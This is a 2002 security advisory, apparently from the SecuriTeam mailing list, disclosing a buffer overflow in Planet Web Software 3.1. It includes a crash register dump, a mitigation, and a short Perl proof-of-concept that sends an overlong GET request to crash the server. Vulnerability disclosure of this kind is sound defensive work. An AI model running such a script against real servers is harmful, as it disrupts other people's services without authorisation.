[NT] Planet Web Software Buffer Overflow
From: support@securiteam.comDate: 09/18/02
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From: support@securiteam.com To: list@securiteam.com Date: Wed, 18 Sep 2002 14:50:26 +0200 (CEST)
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Planet Web Software Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.planetdns.net/menu/list/85/page/72/> PlanetWeb is a complete
commercial software package that provides you with everything you need to
run your own website directly from your computer. A vulnerability in the
product allows attackers to cause the program to crash.
DETAILS
Vulnerable systems:
Planet Web version 3.1
A buffer overflow exists in versions 3.1 and previous of Planet Web
Software. Exploitation of this vulnerability allows remote execution of
arbitrary code with daemon privileges.
Detailed Description:
Sending a GET request containing a URL of approximately 1024 characters or
more causes Planet Web Server to crash. Exploitation is possible and proof
of concept code has been authored to demonstrate this problem.
Result:
PDNSC caused an invalid page fault in module KERNEL32.DLL at
0167:bff9db61.
Registers:
EAX=c00309c4 CS=0167 EIP=bff9db61 EFLGS=00010216
EBX=ffffffff SS=016f ESP=0214fde8 EBP=02150084
ECX=00000000 DS=016f ESI=81770a14 FS=4217
EDX=bff76855 ES=016f EDI=02150120 GS=0000
Bytes at CS:EIP:
53 8b 15 e4 9c fc bf 56 89 4d e4 57 89 4d dc 89
Stack dump:
Solution:
Disable the Planet Web Server until a patch is made available by the
vendor.
Exploit code:
----------------- exploit - cut here -----------------
#!/usr/bin/perl
# PlanetWeb Software perl exploit
# by UkR-XblP / UkR security team
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 vulnurable_server
.." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "http(80)",
);
unless ($remote) { die "cannot connect to http daemon on
$host" }
$xblp = "A" x 1024;
$exploit = "GET /".$xblp." HTTP/1.0\n\n";
$remote->autoflush(1);
print $remote $exploit;
close $remote;
----------------- exploit - cut here -----------------
ADDITIONAL INFORMATION
The information has been provided by <mailto:cuctema@ok.ru> UkR security
team.
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